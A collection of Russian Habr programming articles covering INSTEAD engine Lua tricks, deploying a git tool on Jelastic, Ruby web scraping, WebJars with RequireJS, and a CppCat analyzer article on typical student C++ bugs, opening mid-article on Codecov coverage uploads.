Все что нужно сделать, это загрузить файл lcov, созданный ранее, в [Codecov Action](https://github.com/codecov/codecov-action).
Как только процесс завершится, проект на Codecov обновится и выдаст отчет.
Напоследок, убедитесь, что вы добавляете и удаляете файл `coverage_helper_test` до и после Github Action. Вам не стоит добавлять сгенерированные файлы в VCS.
---
Теперь после такой реализации вы сможете получать полное покрытие для ваших проектов. Идите вперед и пишите невероятные тесты сейчас!
 | https://habr.com/ru/post/561554/ | null | ru | null |
# Трюки и хаки INSTEAD
Если вы не знакомы с движком текстовых игр и визуальных новелл INSTEAD, то вы можете прочитать о нём [здесь](http://instead.syscall.ru/about/). Вкратце: это — очень удобный и понятный для программистов движок простых текстовых приключений (квестов). Что важно, он не только удобный, он ещё и легко расширяемый, благо все игры пишутся на Lua. Я не буду описывать, как писать на нём игры. Я буду описывать, как их можно пилить напильником. Любой инструмент познаётся в деле, не так ли?
#### Сценарий 1: предмет+предмет
У игрока есть инвентарь, в инвентаре есть несколько предметов. Стандартное поведение INSTEAD таково: вы щёлкаете на один предмет, затем щёлкаете на другой — так вы применили первый предмет на второй. Чтобы поймать это событие, надо определить обработчик use в первом предмете или used во втором. Но если вы примените второй предмет на первый, то потребуется опять перехватывать уже новое событие. А что, если вы хотите просто комбинировать предметы, без учёта порядка?
Пишем хак.
`cobj = function(v)
v.use = function(this,that)
return call(this, 'fuse', that);
end;
v.used = v.use;
return obj(v);
end`
Вот так. Теперь достаточно объявлять объекты типа cobj и давать им функцию fuse:
`rope = cobj{
nam = 'верёвка',
inv = function()
local response = 'Длинная крепкая пеньковая верёвка.';
return response;
end,
fuse = function(this, that)
if (that == lock) then
inv():del(lock);
inv():del(rope);
inv():add(rope_with_lock);
return 'Вы привязываете к концу верёвки замок.'
end;
end,
}`
#### Сценарий 2: выдача случайной фразы в описании комнаты
Если сделать описание комнаты функцией, которая будет просто возвращать случайную фразу, то она выполнится лишь единожды и далее будет выдавать то же самое. Чтобы описание всё-таки менялось, надо выводить его не через return функции, а через текстовый буфер — функции p и pn:
`something = function()
ifsen = ' ';
response = {'весёлого жука.', 'весёлого динозавра.', 'весёлого людоеда.', 'весёлого жука-людоеда.'};
return ifsen..response[rnd(#response)];
end
dinner = room {
nam = 'Весёлая столовая',
dsc = function()
p [[Я вижу]];
p (something())
end
};`
Если не поставить скобки после something, то ничего не получится. Так можно получить что-то вроде:
#### Сценарий 3: новый тип объектов
О, это уже глубокое копание. Допустим, вам нужен новый тип объектов в комнатах. Скажем, вы пишете RPG (можно хоть MMORPG — лишь бы у игрока были библиотеки Lua для работы с сетью), и вам нужен список квестов. Для этого незачем пересобирать движок, достаточно немного покопаться в его Lua части:
`function quest(v) --constructor
if v.nam == nil then error ("Не указано имя квеста.", 2) end
if v.short_dsc == nil then v.short_dsc = "" end
if v.scene == nil then v.scene = room_scene end
if v.completed == nil then v.completed = false end
if v.look == nil then v.look = room_look end
if v.save == nil then v.save = room_save end
v.location_type = true;
if v.way == nil then v.way = { } end
v.isQuest = true;
v.way = list(v.way);
v = obj(v);
return v;
end
function room_look(self)
local i,n,v,ph
for i,o in opairs(self.obj) do
if isObject(ref(o)) and not o.isQuest then
o = ref(o);
if v == nil then v = stead.par(' ',v, o:look());
else v = v .. stead.par(' ',v, o:look());
end
end
end
function room(v)
v.location_type = true;
if v.look == nil then v.look = room_look end
if v.scene == nil then v.scene = room_scene end
if v.quests == nil then v.quests = list {} end
if v.obj == nil then v.obj = v.quests
else for k,m in pairs(v.quests) do v.obj[k] = m end
end
if v.way == nil then v.way = {} end
v = room(v);
return v;
end`
Сначала мы определяем новый тип объектов — квесты. Это практически копипаст из stead.lua объекта obj, только добавлены поле isQuest, чтобы легче различать квесты и объекты, и добавлено поле completed, которое отвечает за выполнение квеста.
room\_look — это функция, которая вызывается, когда игрок осматривает комнату. Обычно она выводит описания всех объектов комнаты (из массива obj). Здесь добавлена только заглушка: не выводить описания всех квестов в комнате.
Также переопределена сама комната — теперь в ней есть массив quests. Массив obj заполняется объектами из массива quests — приравнивается, если он пуст, и соединяется, если объекты в нём есть.
Это просто пример, можно определять любые типы объектов и комнат.
Вот. А теперь, когда вы уже знаете несколько хитроумных трюков в этом великолепном движке, можете читать [обычную документацию](http://instead.syscall.ru/wiki/ru/gamedev). | https://habr.com/ru/post/116958/ | null | ru | null |
# Jelastic + Luna = мини Github
Два с половиной месяца назад [я написал](http://habrahabr.ru/blogs/open_source/133306/) о своем приложении.
За это время я позакрывыл пару десятков issue, добавлял функционал, выполнил и пофиксил пожелания пользователей [Yeah](https://habrahabr.ru/users/yeah/), [kekekeks](https://habrahabr.ru/users/kekekeks/).
В кратце, что добавилось:
* Для исходников и diff теперь плавающие скролы
* Для diff плавающие заголовки
* Бинарные файлы распознаются более качественно (ICU4J)
* Поддержка http для git
* Оповещения на почту (apache camel)
* Обновил доку
* Мелкие изменения в gui и багфиксы
А теперь о том, как мое приложение можно использовать. http я пилил не просто так…
#### Иструкция:
1. Логинимся/регистрируемся на [jelastic.com](http://jelastic.com)
2. Создаем себе среду. В ней должен быть SSL и Mongo, остальное по вкусу (я пробовал с jetty 6 и tomcat 7). Не включайте реплицирование сессий (слайдер HA).
3. Если ничего не упало, то идем пить чай. Иначе идем в суппорт jelastic'а.
4. После создания среды, вам на почту придет письмо с адресом и паролем для Монго.
5. Идем по адресу из пред. пункта, логинимся. [Создаем базу и пользователя для нее](https://jelastic.com/docs/connection-to-mongodb).
6. ```
$ git clone http://luna-tool.jelastic.com/den/luna.git
$ cd luna
$ ./sbt package
```
7. Открываем собраный war (он в target/scala-2.9.1/luna-tool\_2.9.1-1.0.war). Находим там WEB-INF/classes/props/default.props. Добавляем туда следующие настройки db.host (взять из письма с веб интерфейсом), dp.port, db.name (имя базы, которую вы создали выше), db.user и db.password (пользователь и пароль для db.name). Остальные настройки [опциональны](https://github.com/btd/luna/blob/master/README.md). Убедитесь, что этот файл в ASCII кодировке.
8. Загружаем war на jelastic, диплоим. Радуемся.
9. [Живой пример.](https://luna-tool.jelastic.com/den)
#### FAQ
##### error: RPC failed; result=22, HTTP code = 411
Нужно увеличить размер буффера:
```
$ git config http.postBuffer bytes
```
##### Виден git в адресах клонирования
Он стартует, но недоступен из вне. Позже добавлю явное отключение. | https://habr.com/ru/post/138657/ | null | ru | null |
# Веб-парсинг на Ruby
*Это перевод статьи [«Web Scraping with Ruby»](https://www.chrismytton.uk/2015/01/19/web-scraping-with-ruby/), которую я нашел полезной при изучении языка программирования Ruby. Парсинг меня интересует в личных целях. Мне кажется, это не только полезный навык, но и хороший способ изучить язык.*
Парсинг веба на Ruby легче, чем вы можете думать. Давайте начнем с простого примера: я хочу получить красиво отформатированный JSON массив объектов, представляющий список фильмов с сайта [местного независимого кинотеатра](http://www.cubecinema.com/programme).
В начале нам нужен способ скачать html страницу, которая содержит все объявления о фильмах. В Ruby есть встроенный http клиент, `Net::HTTP`, а также надстройка над ним — `open-uri`.
**Open-uri**Open-uri хорош для базовых вещей, вроде тех, что мы делаем в уроке, но у него есть некоторые [проблемы](https://bugs.ruby-lang.org/issues/3719), поэтому, возможно, вы захотите найти другой http клиент для продакшн среды.
Итак, первая вещь, которую надо сделать — это скачать html с удаленного сервера.
```
require 'open-uri'
url = 'http://www.cubecinema.com/programme'
html = open(url)
```
Отлично, теперь у нас есть страница, которую мы хотим парсить, теперь нам нужно вытащить некоторую информацию из нее. Лучший инструмент для этого — [Nokogiri](http://www.nokogiri.org/). Мы создаем новый экземпляр Nokogiri для нашего html, который мы только что скачали.
```
require 'nokogiri'
doc = Nokogiri::HTML(html)
```
Nokogiri крут, потому что позволяет обращаться к html используя CSS селекторы, что, на мой взгляд, гораздо удобнее чем использовать xpath.
Ок, теперь у нас есть документ, из которого мы можем вытащить список кинофильмов. Каждый элемент списка имеет такую html структуру, как показано ниже.
```
[![Picture for event Live stand up + Monty Python and the Holy Grail]()](/programme/event/live-stand-up-monty-python-and-the-holy-grail,7557/)
[comedy](/programme/view/comedy/) [dvd](/programme/view/dvd/) [film](/programme/view/film/)
[Comedy Combo presents
Live stand up + Monty Python and the Holy Grail
Rare screening from 35mm!](/programme/event/live-stand-up-monty-python-and-the-holy-grail,7557/)
===========================================================================================================================================================================
Sat 20 December | 19:30
Brave (and not so brave) Knights of the Round Table! Gain shelter from the vicious chicken of Bristol as we gather to bear witness to this 100% factually accurate retelling ... [[more...](/programme/event/live-stand-up-monty-python-and-the-holy-grail,7557/)]
``` | https://habr.com/ru/post/252379/ | null | ru | null |
# WebJars + RequireJS
**День добрый, читатели Хабра!**
В этой статье спешу вам рассказать (хоть и с опозданием) о том, что такое WebJars на примере приложения в Play Framework.
 В практически любом веб-приложении нельзя обойтись без сторонних javascript-библиотек. Самый простой способ добавить их: скачать и добавить в проект, а также добавить файл в git-репозиторий. Решение годное, но лично для меня наличие в проекте какой-либо статики малость раздражает. Есть другой метод: указывать ссылку на внешний хостинг js-библиотек такой как google, yandex. В принципе вариант, но в моей практике были случаи, когда необходимо было продолжить разработку а доступ в интернет оставлял желать лучшего либо его вообще не было, в итоге клиентская часть не функционировала. Наиболее годным решением мне видится добавления js библиотеки в качестве зависимости в проект, с подобным подходом вы могли сталкивать в Ruby on Rails.
**Ближе к делу**
У нас есть веб-приложение, написанное на java-based языке и нам нужно добавить в него пару javascript библиотек, именно для такого случая нам идеально подойдут WebJars.
WebJars — набор библиотек, каждая из которых содержит в себе JS библиотеку и/или CSS модули.
Полный список библиотек можно посмотреть [здесь](http://www.webjars.org/). У каждой из них есть несколько версий, которые соответствуют версии js-библиотеки. Все WebJars доступны на Maven репозитории.
В данном примере я опишу, как WebJars в приложение Play Framework. Описания добавления WebJars в другие фреймворки можно найти [здесь](http://www.webjars.org/documentation).
**Приступаем**
Для того, чтобы добавить WebJar достаточно добавить новую зависимость в проект.
К примеру:
```
libraryDependencies ++= Seq(
cache,
ws,
"org.webjars" %% "webjars-play" % "2.3.0-2",
"org.webjars" % "requirejs" % "2.1.14-3",
"org.webjars" % "requirejs-domready" % "2.0.1-2",
"org.webjars" % "jquery" % "2.1.1",
"org.webjars" % "bootstrap" % "3.2.0-2"
)
```
Если вы скомпилируете проект, вы можете обнаружить новую папку web-modules в директории target/web. В ней как раз и содержаться добавленные в проект js и css файлы.
Обращаться к ним из view можно по старинке @routes.Assets.at(«lib/requirejs/require.js»), но для этого нужно знать полный путь. Другой более кошерный способ использовать готовые контроллеры WebJars. Для этого добавим в conf/routes новый маршрут специально для WebJars:
```
GET /lib/*file controllers.WebJarAssets.at(file)
```
А для обращения к ним из view мы можем использовать еще метод от WebJars WebJarAssets.locate. Указанный метод сам ищет необходимый файл в каталоге с WebJars. В итоге получаем:
```
```
Что на html странице будет выглядеть как
```
```
Удобно не правда ли? Но это еще не все.
**RequireJS**
Наверняка вы уже слышали о прелестях этого замечательного js-фреймворка, поэтому не буду распинаться на эту тему.
WebJars содержит в себе механизм для более удобной интеграции с RequireJS. Если вы зайдете в каталог target/web/web-modules/main/webjars/lib/jquery, то обнаружите файл webjars-requirejs.js c содержимым.
```
/*global requirejs */
// Ensure any request for this webjar brings in jQuery.
requirejs.config({
paths: { "jquery": webjars.path("jquery", "jquery") },
shim: { "jquery": { "exports": "$" } }
});
```
В каждом WebJar есть файл с конфигом для RequireJS. Чтобы получить общий конфиг создадим новый view с именем requireJsConfig.
```
@Html(org.webjars.RequireJS.getSetupJavaScript(routes.WebJarAssets.at("").url))
```
Добавим новый экшн в контроллер Application.
```
import play.api.cache.Cached
import views._
import play.api.Play.current
def requireJsConfig = Cached("require_js_config") {
Action {
Ok(html.requireJsConfig()).as("application/javascript")
}
}
```
Результат выполнения мы кэшируем, поскольку его содержимое будет меняться только при добавлении/удалении используемых в проекте WebJars. Также результат мы помечаем как application/javascript, чтобы явно указать в содержимое является javascript'ом.
Добавляем новый маршрут:
```
GET /files/config.js controllers.Application.requireJsConfig
```
Забавы ради url прописываем как у статического js-файла.
Проверяем что получилось, в браузере переходим по url <http://localhost:9000/files/config.js>
```
var webjars = {
versions: {"requirejs-domready":"2.0.1","requirejs":"2.1.14-3","bootstrap":"3.2.0-2","jquery":"2.1.1"},
path: function(webJarId, path) {
console.error('The webjars.path() method of getting a WebJar path has been deprecated. The RequireJS config in the ' + webJarId + ' WebJar may need to be updated. Please file an issue: http://github.com/webjars/' + webJarId + '/issues/new');
return ['/lib/' + webJarId + '/' + webjars.versions[webJarId] + '/' + path];
}
};
var require = {
callback: function() {
// Deprecated WebJars RequireJS plugin loader
define('webjars', function() {
return {
load: function(name, req, onload, config) {
if (name.indexOf('.js') >= 0) {
console.warn('Detected a legacy file name (' + name + ') as the thing to load. Loading via file name is no longer supported so the .js will be dropped in an effort to resolve the module name instead.');
name = name.replace('.js', '');
}
console.error('The webjars plugin loader (e.g. webjars!' + name + ') has been deprecated. The RequireJS config in the ' + name + ' WebJar may need to be updated. Please file an issue: http://github.com/webjars/webjars/issues/new');
req([name], function() {;
onload();
});
}
}
});
// All of the WebJar configs
requirejs.config({"paths":{"requirejs-domready":["/lib/requirejs-domready/2.0.1/domReady","domReady"]}})
requirejs.config({"paths":{}})
requirejs.config({"paths":{"bootstrap":["/lib/bootstrap/3.2.0-2/js/bootstrap","js/bootstrap"],"bootstrap-css":["/lib/bootstrap/3.2.0-2/css/bootstrap","css/bootstrap"]},"shim":{"bootstrap":["jquery"]}})
requirejs.config({"paths":{"jquery":["/lib/jquery/2.1.1/jquery","jquery"]},"shim":{"jquery":{"exports":"$"}}}) }
}
```
Данный скрипт настраивает RequireJS необходимым нам образом и должен предшествовать самому RequireJS.
**Финал**
Создадим небольшой coffescript файл (простите, если кого-то этим огорчил, но от чистого javascript я подустал) в каталоге app/assets/js/main.coffee.
```
require ['jquery','requirejs-domready!'],->
$('body').text 'Success'
```
И в интересующей нас view, добавим.
```
```
Запускаем и видим, что все необходимые javascript-файлы загрузились и код выполнился.
**Итог**
В данном примере мы познакомились с возможностями WebJars. От себя добавлю, что ничего кардинально-инновационного я не обнаружил, но все же они облегчают frontend разработку. | https://habr.com/ru/post/241515/ | null | ru | null |
# Почему студентам нужен анализатор кода CppCat
CppCat – это простой статический анализатор кода для поиска ошибок в программах на языке Си/Си++. Мы начали выдавать бесплатные академические лицензии всем желающим (студентам, преподавателям и так далее). Для большей популяризации CppCat среди студентов я решил написать эту заметку об ошибках, которые можно найти в лабораторных работах, встречающихся на сайте **Pastebin.com**.
Чуть-чуть про CppCat
--------------------
[CppCat](http://www.cppcat.com) – статический анализатор кода, интегрирующийся в среду Visual Studio и позволяющий найти множество опечаток и прочих ошибок ещё на этапе кодирования. Анализатор умеет запускаться автоматически после компиляции и проверять только что написанный код. Анализатор поддерживает C, C++, C++/CLI, C++/CX.
О том, как получить бесплатную лицензию на CppCat, описано в статье: [Бесплатный CppCat для студентов](http://www.viva64.com/ru/b/0290/). Хочу добавить, что мы даём лицензию не только студентам, но и аспирантам, преподавателям и так далее.
Многих расстраивает, что CppCat не интегрируется в бесплатную среду Visual Studio Express. К сожалению, мы не можем ничего с этим поделать. Express-версии Visual Studio не поддерживают модули расширений (plugins). Однако, это не беда. Хочется напомнить, что студенты имеют доступ к [Microsoft DreamSpark](http://www.dreamspark.ru/) и могут получить доступ к Visual Studio Professional.
Завлечение студентов
--------------------
В начале хотел написать что-то в духе:
Даже студент может получить пользу от статического анализа. Зачем долго и мучительно искать ошибку в своей программе, если о ней может подсказать CppCat? Таким образом можно не только быстрее найти ошибку, но ещё узнать подробности о том, как делать не надо. Документация к CppCat подробно объясняет каждую диагностику и приводит различные примеры ошибок, подсказывает, как их исправлять.
Потом решил, что как-то это натянуто. Ну какие у студентов серьезные ошибки? Можно и поотлаживать цикл из 10 итераций. Это будет даже полезно. Поэтому я переформулирую рекомендацию использовать CppCat следующим образом:
Работодатель будет ценить не только ваше умение программировать и писать хитрые алгоритмы. Не менее важно уметь пользоваться базовым инструментарием.
Грош цена алгоритму, если он будет потерян из-за того, что вы не знаете, что такое система контроля версий и максимум, что предпринимали – делали копию исходных кодов на флешку.
Поэтому важно изучать не только языки и среды разработки, но и вспомогательный инструментарий.
Я не берусь составлять список наиболее важного инструментария. Однако важно знать хотя бы одну систему контроля версий, зачем может быть нужен WinMerge, что такое профайлер, как сделать дистрибутив и так далее.
Одной из технологий, которую хорошо знать и можно упомянуть в резюме, является статический анализ кода. CppCat отлично подходит для знакомства с методологией статического анализа. Это будет хорошим плюсом к вашим знаниям и намекнёт работодателю, что вы что-то слышали о качестве кода.
А теперь то, ради чего мы здесь собрались
-----------------------------------------
Скучная часть закончилась. Я думаю, вы догадываетесь, что сейчас мы будем искать ошибки в лабораторных работах.
Говорить о том, что код часто плох, в этот раз я не буду. И так понятно, что код лабораторных содержит в себе тьму разнообразнейших ошибок. Поэтому я поставил задачу не найти как можно больше ошибок. Это неинтересно. Я попробовал выделить какие-то паттерны ошибок, которые проявляются у студентов чаще всего. Правда, пока я смог четко заметить преобладание ошибок только трех типов. Но про это чуть ниже.
У Вас может возникнуть вопрос: откуда я взял лабораторные работы? Отвечаю.
Есть сайт [Pastebin.com](http://pastebin.com/), где разработчики могут удобно обмениваться фрагментами кода. Студенты активно используют этот сайт. Почти весь код, имеющий тег C++, представляет собой какую-то лабораторную работу или её часть.
Мы написали программу, которая следит за сайтом Pastebin.com и выкачивает оттуда свежие файлы, помеченные как «код C++». Насобирав более двух тысяч файлов, я сделал из них проект в Visual Studio и проверил его. Больше половины, конечно, проверить не удалось. Во многих файлах только фрагменты кода, вписан текст, не являющийся комментарием, не хватает каких-то библиотек и так далее. Однако я и не ставил целью проверить как можно больше кода, опубликованного на Pastebin.com. То, что проверилось, мне вполне хватит для этой статьи. Сбор файлов продолжается и, возможно, я потом напишу ещё что-то на эту тему.
Типовые ошибки студентов, изучающих Си++
----------------------------------------
Я просмотрел не так уж много ошибок в лабораторных работах. Так что пока могу выделить только 3 паттерна.
Приводить все подряд примеры ошибок я не буду. Они однотипны и неинтересны. Ограничусь только несколькими примерами. Но, поверьте, если я говорю, что такая ошибка распространена, это действительно так.
P.S. Многие из опубликованных примеров были с ограничением по времени и уже недоступны. Поэтому ссылки на удалённые страницы давать не буду.
### Паттерн 1. Третье место по популярности. Путаница в однотипных условиях
Многие задачи по программированию подразумевают проверку многих условий. И, реализуя их, легко запутаться или опечататься. Показательный пример:
```
int main()
{
int n,a,b,c;
cin >> n;
for(int i=0;i> a >> b >> c;
if((a % 2==0 && b % 2 ==0 && c % 2!=0)||
(a % 2==0 && b % 2!=0 && c % 2==0)||
(a % 2!=0 && b % 2==0 && c % 2==0)||
(a % 2!=0 && b % 2 !=0 && c % 2==0)||
(a % 2==0 && b % 2!=0 && c % 2!=0)|| <<<---
(a % 2==0 && b % 2!=0 && c % 2!=0)) <<<---
{
cout << "1";
}
else
cout << "2";
}
cout << endl;
return 0;
}
```
Предупреждение CppCat: V501 There are identical sub-expressions '(a % 2 == 0 && b % 2 != 0 && c % 2 != 0)' to the left and to the right of the '||' operator. jtzrihcg.cpp 14
Надо было как-то хитро проверить значения трёх введенных переменных. Скорее всего, код копировался и не везде был правильно поправлен. В результате предпоследняя и последняя строка в условии совпадают.
Ещё [пример](http://pastebin.com/wrGKuUZr):
```
int main() {
....
} else if(gesucht < geraten) {
puts("Ein bisschen zu klein");
} else if (gesucht < geraten) {
puts("Ein bisschen zu gross");
}
....
}
```
V517 The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 41, 43. wrgkuuzr.cpp 40
Два раза выполняется проверка (gesucht < geraten), но при этом должны выводиться разные строки.
Кстати, в обоих примерах ошибка находится в последней строке. Опять нам встретился "[эффект последней строки](http://www.viva64.com/ru/b/0260/)".
### Паттерн 2. Второе место по популярности. Выход за границу массива на 1 элемент
То, что элементы массивов нумеруются в языке C++ от нуля, является большим затруднением при его изучении. Т.е. вроде понять это просто, но вот научиться не выходить за границу массива очень сложно. Если нужен 10 элемент массива, то так и хочется написать A[10]. [Пример](http://pastebin.com/0Z3X9b3i):
```
int main()
{
....
int rodnecs[10];
....
VelPol1 = rodnecs[1] + rodnecs[3] + rodnecs[5] +
rodnecs[8] + rodnecs[10];
....
}
```
Предупреждение CppCat: V557 Array overrun is possible. The '10' index is pointing beyond array bound. 0z3x9b3i.cpp 38
[Ещё](http://pastebin.com/1uj9V9XS):
```
void main()
{
....
double pop[3][3];
....
for (int i = 0; i<3; i++)
{
calc_y[i] = F(pop[i][1], pop[i][2], pop[i][3], x[i]);
}
....
}
```
Предупреждение CppCat: V557 Array overrun is possible. The '3' index is pointing beyond array bound. 1uj9v9xs.cpp 48
Много неправильных сравнений в условиях циклов:
```
int main()
{
int i,pinakas[20],temp,temp2,max,min,sum=0;
for (i=1;i<=20;i++)
{
pinakas[i]=rand();
......
}
```
Предупреждение CppCat: V557 Array overrun is possible. The value of 'i' index could reach 20. 287ep6c0.cpp 20
Очень [много](http://pastebin.com/wGk1Lx3U):
```
int main()
{
const int arraySize = 10;
int a[arraySize];
int key,index,to_do = arraySize - 1;
bool did_swap = true;
srand(time(NULL));
for (int i = 0; i <= arraySize; i++)
{
//generating random number between 1 - 100
a[i] = rand() % 100 + 1;
}
....
}
```
Предупреждение CppCat: V557 Array overrun is possible. The value of 'i' index could reach 10. wgk1lx3u.cpp 18
Остальные ошибки аналогичны приведённым выше, так что закончим.
### Паттерн 3. Первое место по популярности. Неинициализированные переменные
О! Я, кажется, понял, почему, кого не спроси, одной из наиболее частых и опасных ошибок в программировании на Си/Си++ люди называют «неинициализированные переменные». Но, при этом, анализируя [проекты](http://www.viva64.com/ru/a/0084/) с помощью PVS-Studio, я редко встречаю эту ошибку.
Почему? Видимо, при изучении языка все очень сильно набивают себе шишки на этом. Таким образом, программисты потом почти не допускают такие ошибки. Но воспоминания остались. И на вопрос, чего надо бояться, часто ответят «неинициализированные переменные».
Есть совсем [простое](http://pastebin.com/1HVEfw6r):
```
int main()
{
....
int n,k=0, liczba=n, i=1;
....
}
```
Предупреждение CppCat: V614 Uninitialized variable 'n' used. 1hvefw6r.cpp 92
Можно неправильно работать со списком:
```
void erase(List * Lista){
List* pom;
pom->next = Lista->next;
Lista->next= pom;
delete pom;
}
```
Предупреждение CppCat: V614 Uninitialized pointer 'pom' used. 6gpsgjuy.cpp 54
Можно [сделать](http://pastebin.com/8KNS8hYN) цикл со случайным количеством итераций:
```
void main()
{
int i,n;
imie* ime[20];
string nazwa;
string kobieta="Kobiece imina: ";
wpr_dane();
for (i = 1; i < n; i++)
{
....
}
```
Предупреждение CppCat: V614 Uninitialized variable 'n' used. 8kns8hyn.cpp 63
[Можно](http://pastebin.com/9R9ZdKp6) вначале использовать, а потом вводить значение переменной:
```
int main() {
int n1;
int n2;
std::vector vec1(n1);
std::vector vec2(n2);
std::cin >> n1;
for (int i = 0; i < n1; i++) {
std::cin >> vec1[i];
}
std::cin >> n2;
for (int j = 0; j < n2; j++) {
std::cin >> vec2[j];
}
....
}
```
Предупреждения CppCat: * V614 Uninitialized variable 'n1' used. 9r9zdkp6.cpp 25
* V614 Uninitialized variable 'n2' used. 9r9zdkp6.cpp 26
Далее приводить примеры, думаю, смысла нет. Но, поверьте, студенты отстреливают себе ноги неинициализированными переменными разнообразнейшими способами.
Прочие ошибки
-------------
Конечно, в лабораторных я увидел много других разнообразнейших ошибок. Таких же больших групп ошибок, как описано выше, я выделить не могу. Хотя я могу назвать ещё несколько заметных групп: неправильное вычисление размера массивов, точка с запятой, досрочное прерывание цикла, неправильная работа с массивами, WTF.
### Неправильное вычисление размера массивов
Многим начинающим тяжело даётся понимание, что в Си/Си++ указатель и массив – это разные сущности. В результате нередко попадается код подобный [этому](http://pastebin.com/sEPrcjVW):
```
int arrayLen(int p[])
{
return(sizeof(p)/sizeof(*p));
}
```
Предупреждение CppCat: V511 The sizeof() operator returns size of the pointer, and not of the array, in 'sizeof (p)' expression. seprcjvw.cpp 147
Правда, функция arrayLen() нигде не используется. Видимо, из-за того, что не работает. :)
Ещё один [пример](http://pastebin.com/0mxBjWBg):
```
bool compare_mas(int * mas, int * mas2){
//вычисляем кол-во элементов первого массива
const auto mas_size = sizeof(mas) / sizeof(mas[0]);
//вычисляем кол-во элементов второго массива
const auto mas2_size = sizeof(mas2) / sizeof(mas2[0]);
....
}
```
Предупреждения CppCat:* V514 Dividing sizeof a pointer 'sizeof (mas)' by another value. There is a probability of logical error presence. 0mxbjwbg.cpp 2
* V514 Dividing sizeof a pointer 'sizeof (mas2)' by another value. There is a probability of logical error presence. 0mxbjwbg.cpp 3
### Не там поставлена точка с запятой ';'
Этих ошибки встречаются не так часто, как я ожидал. Они есть, но распространенной ошибкой в лабораторных работах я её назвать не могу.
Типовой [пример](http://pastebin.com/kNadCQDe):
```
vector sum(vector m[],int N){
vector sum,tmp;
for (int i=0;i
```
Предупреждение CppCat: V529 Odd semicolon ';' after 'for' operator. knadcqde.cpp 122
### Досрочное прерывание цикла
Есть ряд [примеров](http://pastebin.com/XHPquVXs), где цикл случайно прерывается раньше времени:
```
int main()
{
....
for (long long j = sled.size()-1; j > i; j --)
{
sled[j] = '0';
des = 1;
break;
}
....
}
```
Предупреждение CppCat: V612 An unconditional 'break' within a loop. XHPquVXs.cpp 31
### Неправильная работа с массивами
В нескольких лабораторных встретилась работа с массивами в стиле Pascal. То есть используется запятая, что хоть и компилируется, но работает, конечно, неправильно:
```
void build_maze(){
// tablica przechowujaca informacje o odwiedzonych polach
bool ** tablica = new bool *[n];
....
if (tablica[aktualny.x - 1, aktualny.y] == false){
....
}
```
Предупреждение CppCat: V520 The comma operator ',' in array index expression '[aktualny.x — 1, aktualny.y]'. qqxjufye.cpp 125
Или [забывают](http://pastebin.com/HqVgTwvr), что память под возвращаемые массивы надо выделять специальным образом:
```
int *mul3(int *a)
{
int mem = 0;
int b[1001];
for (int i = 100; i >= 0; i--)
{
int x = a[i] * 3 + mem;
mem = x / 10;
b[i] = x % 10;
}
return b;
}
```
Предупреждение CppCat: V558 Function returns the pointer to temporary local object: b. hqvgtwvr.cpp 89
### WTF
Есть фрагменты кода, которые я, кроме как WTF, назвать не могу. Возможно, кто-то попросил одногруппника объяснить, где в программе ошибка. Хотя, скорее, эта лабораторная как раз на изучение переполнения массивов. К сожалению, я не знаю, что написано в комментарии.
Приведу целиком один такой [пример](http://pastebin.com/4AXK6V2P):
```
#include
using namespace std;
int main()
{
int a[10];
for(int i=0; i<50; i++)
cout << a[i] << endl;
//ovoj loop ili kje krashne ili kje ti nedefinirani vrednost
//(ne mora da bidat 0)
//ako namesto 50 stavis 500000, skoro sigurno kje krashne
int b[10];
for(int i=0; i<50; i++)
{
b[i] = i;
cout << b[i] << endl;
}
//ovoj loop nekogas kje raboti, nekogas ne. problemot so
//out-of-bounds index errori e sto nekogas rabotat kako
//sto treba, pa greskata tesko se naogja
}
```
Что ещё не вошло статью
-----------------------
Много что не вошло! Например, встречается неправильное использование функций printf(). Но это настолько банально, что даже писать про это не хочется.
Впрочем, [встречались](http://pastebin.com/b5Lt64hJ) и достаточно экзотические разновидности ошибок:
```
void zmienne1()
{
....
int a,b,c,d;
cin >> a >> b >> c >> d;
if(a == b == c == d)
....
}
```
Предупреждение CppCat: V709 Suspicious comparison found: 'a == b == c'. Remember that 'a == b == c' is not e qual to 'a == b && b == c'. b5lt64hj.cpp 284
[Тоже](http://pastebin.com/2K2BmNpz) из редкого (если, конечно, не смотреть на предупреждения компилятора):
```
const long AVG_PSYCHO = 0.8;
const long AVG_GRAD = 1.2;
```
Предупреждения CppCat:* V674 The '0.8' literal of the 'double' type is assigned to a variable of the 'long' type. Consider inspecting the '= 0.8' expression. 2k2bmnpz.cpp 21
* V674 The '1.2' literal of the 'double' type is assigned to a variable of the 'long' type. Consider inspecting the '= 1.2' expression. 2k2bmnpz.cpp 22
Тем не менее, надо заканчивать. Надеюсь, я развлек читателей и соблазнил кого-то попробовать CppCat.
Почему мы не планируем делать какой-либо online-анализатор
----------------------------------------------------------
Я предвижу вопрос: «Почему бы вам не сделать какую-то систему для online-проверки кода?». Например, есть какая-то форма, куда можно вставить код и нажать кнопку «проверить». Или, раз вы мониторите сайт pastebin.com, так почему бы не выкладывать куда-то результаты проверки?
Я уверен, что делать этого нам не нужно. Для этого есть три причины, поэтому прошу не начинать дискуссию на эту тему.
Причины:1. Это не нужно ни нам, ни пользователю. Нам это добавит работы. А пользователь не получит ничего нового. Он может просто скачать и установить PVS-Studio или CppCat и провести все эксперименты, которые пожелает. Демонстрационной версии будет более чем достаточно. Часто формы «вставь и проверь код» делают те, у кого просто так нельзя скачать пробную версию. У нас можно. Более того, она не имеет каких-либо функциональных ограничений. Ещё кто-то может сказать, что у него нет Windows, а он хотел что-то попробовать. Но раз у него нет Windows, то он всё равно не наш пользователь.
2. Такая система сильно искажает оценку возможностей статического анализатора. Статья на эту тему: Мифы о статическом анализе. [Миф пятый – можно составить маленькую программу, чтобы оценить инструмент](http://www.viva64.com/ru/b/0119/). Мы хотим, чтобы люди испытывали анализатор на своих реальных проектах, а не на синтетических примерах.
3. Как уже я сказал, синтетические примеры мы проверять не хотим. А проверить проект целиком сложно с инфраструктурной точки зрения. Подробнее про это написано в [интервью](http://www.viva64.com/ru/b/0231/). Кратко: придётся делать сложную систему, куда нужно закачивать исходники, библиотеки, настраивать параметры сборки и так далее. Иначе полноценный анализ невозможен. Получается, что проще скачать анализатор, установить и проверить.
Заключение
----------
Уважаемые студенты и преподаватели, будем рады видеть вас среди наших пользователей. Желаю студентам стать квалифицированными специалистами и склонить в дальнейшем свой коллектив на приобретение PVS-Studio для командной работы.
Дополнительные ссылки:
----------------------
1. [PVS-Studio для Visual C++](http://www.viva64.com/ru/b/0222/).
